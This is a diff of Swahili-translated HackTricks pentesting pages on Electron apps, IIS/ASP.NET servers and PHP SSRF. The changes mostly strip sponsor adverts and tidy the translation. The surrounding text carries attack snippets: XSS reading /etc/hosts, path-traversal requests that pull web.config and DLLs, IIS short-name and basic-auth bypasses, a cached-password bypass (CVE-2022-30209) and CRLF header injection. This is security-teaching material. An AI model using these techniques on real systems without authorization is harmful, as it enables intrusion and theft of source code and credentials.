</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Utangulizi
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
Electron inachanganya backend ya ndani (pamoja na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Introduction
|
||||
|
||||
Electron inachanganya backend wa ndani (na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
|
||||
|
||||
Kwa kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo unahitaji kuutoa:
|
||||
Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo unahitaji kuutoa:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Katika msimbo wa chanzo wa programu ya Electron, ndani ya `packet.json`, unaweza kupata iliyoainishwa faili ya `main.js` ambapo mipangilio ya usalama imewekwa.
|
||||
Katika msimbo wa chanzo wa programu ya Electron, ndani ya `packet.json`, unaweza kupata faili ya `main.js` ambapo mipangilio ya usalama imewekwa.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
|
|
@ -47,7 +34,7 @@ Katika msimbo wa chanzo wa programu ya Electron, ndani ya `packet.json`, unaweza
|
|||
Electron ina aina 2 za michakato:
|
||||
|
||||
* Michakato Kuu (ina ufikiaji kamili wa NodeJS)
|
||||
* Michakato ya Renderer (inapaswa kuwa na ufikiaji wa NodeJS ulio na vizuizi kwa sababu za usalama)
|
||||
* Michakato ya Renderer (inapaswa kuwa na ufikiaji wa NodeJS uliozuiliwa kwa sababu za usalama)
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -64,13 +51,13 @@ Settings of the **renderer process** can be **configured** in the **main process
|
|||
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
||||
|
||||
* **`nodeIntegration`** - ni `off` kwa default. Ikiwa iko, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.
|
||||
* **`contextIsolation`** - iko `on` kwa default. Ikiwa iko off, mchakato mkuu na mchakato wa renderer si tofauti.
|
||||
* **`contextIsolation`** - ni `on` kwa default. Ikiwa imezimwa, mchakato mkuu na mchakato wa renderer si tofauti.
|
||||
* **`preload`** - tupu kwa default.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - iko off kwa default. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - imezimwa kwa default. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
|
||||
* Node Integration in Workers
|
||||
* **`nodeIntegrationInSubframes`**- iko `off` kwa default.
|
||||
* **`nodeIntegrationInSubframes`**- ni `off` kwa default.
|
||||
* Ikiwa **`nodeIntegration`** ime **wezeshwa**, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **pakiwa katika iframes** ndani ya programu ya Electron.
|
||||
* Ikiwa **`nodeIntegration`** ime **zuiliwa**, basi preloads zita load katika iframe
|
||||
* Ikiwa **`nodeIntegration`** ime **zimwa**, basi preloads zita pakiwa katika iframe
|
||||
|
||||
Example of configuration:
|
||||
```javascript
|
||||
|
|
@ -147,7 +134,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
|||
}
|
||||
});
|
||||
```
|
||||
Kwa hivyo, script inaweza kusafirisha node-features kwa kurasa:
|
||||
Kwa hivyo, skripti inaweza kusafirisha node-features kwa kurasa:
|
||||
|
||||
{% code title="preload.js" %}
|
||||
```javascript
|
||||
|
|
@ -198,9 +185,9 @@ Kuna maeneo 2 ambapo njia zilizojengwa ndani zinaweza kufutwa: Katika msimbo wa
|
|||
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Bypass click event
|
||||
### Kupita tukio la kubonyeza
|
||||
|
||||
Ikiwa kuna vizuizi vilivyowekwa unapobofya kiungo, huenda ukawa na uwezo wa kuvipita **kwa kufanya bofya katikati** badala ya bofya la kushoto la kawaida.
|
||||
Ikiwa kuna vizuizi vilivyowekwa unapobonyeza kiungo unaweza kuwa na uwezo wa kuvipita **kwa kubonyeza katikati** badala ya kubonyeza kushoto kawaida
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
|
|
@ -208,7 +195,7 @@ window.addEventListener('click', (e) => {
|
|||
|
||||
Kwa maelezo zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Wakati wa kutekeleza programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
|
||||
Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
|
||||
|
||||
Wakati mtumiaji anapoingiliana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu:
|
||||
```javascript
|
||||
|
|
@ -256,7 +243,7 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
|
|||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Ikiwa **chromium** inayotumiwa na programu ni **ya zamani** na kuna **udhaifu** **uliotambulika** juu yake, inaweza kuwa inawezekana **kuikabili na kupata RCE kupitia XSS**.\
|
||||
Ikiwa **chromium** inayotumiwa na programu ni **ya zamani** na kuna **udhaifu** **ujulikanao** juu yake, inaweza kuwa inawezekana **kuikabili na kupata RCE kupitia XSS**.\
|
||||
Unaweza kuona mfano katika **writeup** hii: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing kupitia Internal URL regex bypass**
|
||||
|
|
@ -278,9 +265,9 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
|||
```
|
||||
## **Tools**
|
||||
|
||||
* [**Electronegativity**](https://github.com/doyensec/electronegativity) ni chombo cha kutambua makosa ya usanidi na mifumo ya usalama isiyo sahihi katika programu za msingi wa Electron.
|
||||
* [**Electronegativity**](https://github.com/doyensec/electronegativity) ni chombo cha kutambua makosa ya usanidi na mifumo ya usalama isiyofaa katika programu za msingi wa Electron.
|
||||
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni nyongeza ya chanzo wazi ya VS Code kwa programu za Electron inayotumia Electronegativity.
|
||||
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kuangalia maktaba za wahusika wa tatu zenye udhaifu
|
||||
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kuangalia maktaba za wahusika wengine zenye udhaifu
|
||||
* [**Electro.ng**](https://electro.ng/): Unahitaji kununua
|
||||
|
||||
## Labs
|
||||
|
|
@ -320,18 +307,6 @@ npm start
|
|||
* Utafiti zaidi na maandiko kuhusu usalama wa Electron katika [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **kuyumbishwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** katika:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -341,7 +316,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Test executable file extensions:
|
||||
|
||||
* asp
|
||||
|
|
@ -36,7 +22,7 @@ Test executable file extensions:
|
|||
* config
|
||||
* php
|
||||
|
||||
## Internal IP Address disclosure
|
||||
## Ufunuo wa Anwani ya IP ya Ndani
|
||||
|
||||
Katika seva yoyote ya IIS ambapo unapata 302 unaweza kujaribu kuondoa kichwa cha Host na kutumia HTTP/1.0 na ndani ya jibu kichwa cha Location kinaweza kukuongoza kwenye anwani ya IP ya ndani:
|
||||
```
|
||||
|
|
@ -79,19 +65,19 @@ Tumia bila kuongeza kiambatisho chochote, faili zinazohitaji zinao tayari.
|
|||
|
||||
## Path Traversal
|
||||
|
||||
### Leaking source code
|
||||
### Kuonyesha msimbo wa chanzo
|
||||
|
||||
Angalia andiko kamili katika: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
Kwa muhtasari, kuna faili kadhaa za web.config ndani ya folda za programu zikiwa na viungo kwa faili za "**assemblyIdentity**" na "**namespaces**". Kwa taarifa hii inawezekana kujua **wapi executable ziko** na kuzipakua.\
|
||||
Kwa muhtasari, kuna faili kadhaa za web.config ndani ya folda za programu zikiwa na viungo kwa faili za "**assemblyIdentity**" na "**namespaces**". Kwa taarifa hii inawezekana kujua **mahali ambapo executable ziko** na kuzipakua.\
|
||||
Kutoka kwa **Dlls zilizopakuliwa** pia inawezekana kupata **namespaces mpya** ambapo unapaswa kujaribu kufikia na kupata faili ya web.config ili kupata namespaces mpya na assemblyIdentity.\
|
||||
Pia, faili **connectionstrings.config** na **global.asax** zinaweza kuwa na taarifa za kuvutia.\\
|
||||
{% endhint %}
|
||||
|
||||
Katika **.Net MVC applications**, faili ya **web.config** ina jukumu muhimu kwa kuainisha kila faili la binary ambalo programu inategemea kupitia lebo za XML za **"assemblyIdentity"**.
|
||||
|
||||
### **Exploring Binary Files**
|
||||
### **Kuchunguza Faili za Binary**
|
||||
|
||||
Mfano wa kufikia faili ya **web.config** umeonyeshwa hapa chini:
|
||||
```markup
|
||||
|
|
@ -102,7 +88,7 @@ Hii ombi linaonyesha mipangilio na utegemezi mbalimbali, kama vile:
|
|||
|
||||
* **EntityFramework** toleo
|
||||
* **AppSettings** kwa ajili ya kurasa za wavuti, uthibitishaji wa mteja, na JavaScript
|
||||
* **System.web** mipangilio ya uthibitishaji na wakati wa kukimbia
|
||||
* **System.web** mipangilio ya uthibitishaji na wakati wa utekelezaji
|
||||
* **System.webServer** mipangilio ya moduli
|
||||
* **Runtime** uhusiano wa maktaba kwa maktaba nyingi kama **Microsoft.Owin**, **Newtonsoft.Json**, na **System.Web.Mvc**
|
||||
|
||||
|
|
@ -121,7 +107,7 @@ Host: example-mvc-application.minded
|
|||
```
|
||||
### **Kupakua DLLs**
|
||||
|
||||
Kurejelewa kwa jina la kawaida la desturi kunaashiria DLL inayoitwa "**WebApplication1**" iliyopo katika saraka ya /bin. Kufuatia hii, ombi la kupakua **WebApplication1.dll** linaonyeshwa:
|
||||
Kurejelewa kwa jina la kawaida maalum kunaashiria DLL inayoitwa "**WebApplication1**" iliyopo katika saraka ya /bin. Kufuatia hii, ombi la kupakua **WebApplication1.dll** linaonyeshwa:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
|
|
@ -211,18 +197,18 @@ C:\xampp\tomcat\conf\server.xml
|
|||
```
|
||||
## HTTPAPI 2.0 404 Error
|
||||
|
||||
Ikiwa unaona kosa kama ifuatavyo:
|
||||
Ikiwa unaona kosa kama hili:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Inamaanisha kwamba seva **haikupata jina sahihi la kikoa** ndani ya kichwa cha Host.\
|
||||
Ili kufikia ukurasa wa wavuti unaweza kuangalia **Cheti cha SSL** kilichotolewa na labda unaweza kupata jina la kikoa/subdomain huko. Ikiwa halipo unaweza kuhitaji **brute force VHosts** hadi upate sahihi.
|
||||
|
||||
## Uthibitisho wa zamani wa IIS unaofaa kutafuta
|
||||
## Old IIS vulnerabilities worth looking for
|
||||
|
||||
### Microsoft IIS herufi ya tilde “\~” Uthibitisho/Feature – Ufichuzi wa Jina la Faili/Folda Fupi
|
||||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||
|
||||
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folda iliyogunduliwa (hata kama inahitaji Uthibitisho wa Msingi) ukitumia **mbinu** hii.\
|
||||
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folda iliyogunduliwa (hata kama inahitaji Msingi wa Uthibitishaji) ukitumia hii **mbinu**.\
|
||||
Kikomo kikuu cha mbinu hii ikiwa seva ina udhaifu ni kwamba **inaweza tu kupata hadi herufi 6 za kwanza za jina la kila faili/folda na herufi 3 za kwanza za kiendelezi** cha faili.
|
||||
|
||||
Unaweza kutumia [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kujaribu udhaifu huu:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
|
@ -233,19 +219,19 @@ Utafiti wa asili: [https://soroush.secproject.com/downloadable/microsoft\_iis\_t
|
|||
|
||||
Unaweza pia kutumia **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
### Kuepuka Uthibitisho wa Msingi
|
||||
### Basic Authentication bypass
|
||||
|
||||
**Kuepuka** uthibitisho wa msingi (**IIS 7.5**) ukijaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` au `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
**Bypass** uthibitishaji wa msingi (**IIS 7.5**) ukijaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` au `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
Unaweza kujaribu **kuchanganya** udhaifu huu na wa mwisho ili kupata **folda** mpya na **kuepuka** uthibitisho.
|
||||
Unaweza kujaribu **kuchanganya** udhaifu huu na wa mwisho ili kupata **folda** mpya na **kuepuka** uthibitishaji.
|
||||
|
||||
## Ufuatiliaji wa ASP.NET Trace.AXD ulioanzishwa
|
||||
## ASP.NET Trace.AXD enabled debugging
|
||||
|
||||
ASP.NET inajumuisha hali ya ufuatiliaji na faili yake inaitwa `trace.axd`.
|
||||
|
||||
Inahifadhi kumbukumbu ya kina ya maombi yote yaliyofanywa kwa programu kwa kipindi cha muda.
|
||||
|
||||
Taarifa hii inajumuisha IP za wateja wa mbali, vitambulisho vya kikao, vidakuzi vyote vya maombi na majibu, njia za kimwili, taarifa za msimbo wa chanzo, na labda hata majina ya watumiaji na nywila.
|
||||
Taarifa hii inajumuisha IP za mteja wa mbali, vitambulisho vya kikao, vidakuzi vyote vya maombi na majibu, njia za kimwili, taarifa za msimbo wa chanzo, na labda hata majina ya watumiaji na nywila.
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||
|
|
@ -255,17 +241,17 @@ Taarifa hii inajumuisha IP za wateja wa mbali, vitambulisho vya kikao, vidakuzi
|
|||
|
||||
ASPXAUTH inatumia taarifa zifuatazo:
|
||||
|
||||
* **`validationKey`** (string): ufunguo wa hex-encoded wa kutumia kwa uthibitisho wa saini.
|
||||
* **`validationKey`** (string): ufunguo wa hex-encoded wa kutumia kwa uthibitishaji wa saini.
|
||||
* **`decryptionMethod`** (string): (default “AES”).
|
||||
* **`decryptionIV`** (string): hex-encoded initialization vector (inategemea vector ya sifuri).
|
||||
* **`decryptionKey`** (string): ufunguo wa hex-encoded wa kutumia kwa ufichuzi.
|
||||
|
||||
Hata hivyo, watu wengine watachukua **thamani za msingi** za vigezo hivi na watatumia kama **cookie barua pepe ya mtumiaji**. Hivyo, ikiwa unaweza kupata wavuti inayotumia **jukwaa sawa** ambalo linatumia cookie ya ASPXAUTH na wewe **unaunda mtumiaji kwa barua pepe ya mtumiaji unayependa kuiga** kwenye seva inayoshambuliwa, unaweza kuwa na uwezo wa kutumia **cookie kutoka seva ya pili kwenye ya kwanza** na kuiga mtumiaji.\
|
||||
Shambulio hili lilifanya kazi katika [**andiko hili**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
Shambulio hili lilifanya kazi katika hii [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Kuepuka Uthibitisho wa IIS na nywila zilizohifadhiwa (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Ripoti kamili hapa](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kosa katika msimbo **halikupitia ipasavyo nywila iliyotolewa na mtumiaji**, hivyo mshambuliaji ambaye **hash ya nywila yake inagonga ufunguo** ambao tayari uko kwenye **cache** ataweza kuingia kama mtumiaji huyo.
|
||||
[Ripoti kamili hapa](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kosa katika msimbo **halikupitia ipasavyo nenosiri lililotolewa na mtumiaji**, hivyo mshambuliaji ambaye **hash ya nenosiri lake inagonga ufunguo** ambao tayari uko kwenye **cache** ataweza kuingia kama mtumiaji huyo.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
|
@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP functions
|
||||
|
||||
Baadhi ya kazi kama **file\_get\_contents(), fopen(), file(), md5\_file()** zinakubali URLs kama ingizo ambazo zitafuatwa, na kufanya **uwezekano wa udhaifu wa SSRF** ikiwa mtumiaji anaweza kudhibiti data:
|
||||
Baadhi ya kazi kama **file\_get\_contents(), fopen(), file(), md5\_file()** zinakubali URLs kama pembejeo ambazo zitafuatwa, na kufanya **uwezekano wa udhaifu wa SSRF** ikiwa mtumiaji anaweza kudhibiti data:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
|
@ -34,7 +26,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
```
|
||||
### Wordpress SSRF kupitia DNS Rebinding
|
||||
|
||||
Kama [**ilivyoelezwa katika chapisho hili la blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), hata kazi ya Wordpress **`wp_safe_remote_get`** ina udhaifu wa DNS rebinding, hivyo kufanya iweze kuwa hatarini kwa mashambulizi ya SSRF. Uthibitisho mkuu inayoita ni **wp\_http\_validate\_ur**l, ambayo inakagua kwamba protokali ni `http://` au `https://` na kwamba bandari ni moja ya **80**, **443**, na **8080**, lakini ni **vulnerable to DNS rebinding**.
|
||||
Kama [**ilivyoelezwa katika chapisho hili la blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), hata kazi ya Wordpress **`wp_safe_remote_get`** ina udhaifu wa DNS rebinding, hivyo kufanya iweze kuwa hatarini kwa mashambulizi ya SSRF. Uthibitisho mkuu inayoita ni **wp\_http\_validate\_url**, ambayo inakagua kwamba protokali ni `http://` au `https://` na kwamba bandari ni moja ya **80**, **443**, na **8080**, lakini ina **udhaifu wa DNS rebinding**.
|
||||
|
||||
Kazi nyingine zenye udhaifu kulingana na chapisho ni:
|
||||
|
||||
|
|
@ -48,7 +40,7 @@ Kazi nyingine zenye udhaifu kulingana na chapisho ni:
|
|||
|
||||
### CRLF
|
||||
|
||||
Zaidi ya hayo, katika baadhi ya matukio inaweza kuwa hata inawezekana kutuma vichwa vya habari vya kiholela kupitia CRLF "udhaifu" katika kazi zilizopita:
|
||||
Zaidi ya hayo, katika baadhi ya matukio inaweza kuwa hata inawezekana kutuma vichwa vya habari vya kiholela kupitia "udhaifu" wa CRLF katika kazi zilizopita:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
|
@ -83,12 +75,6 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -99,7 +85,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
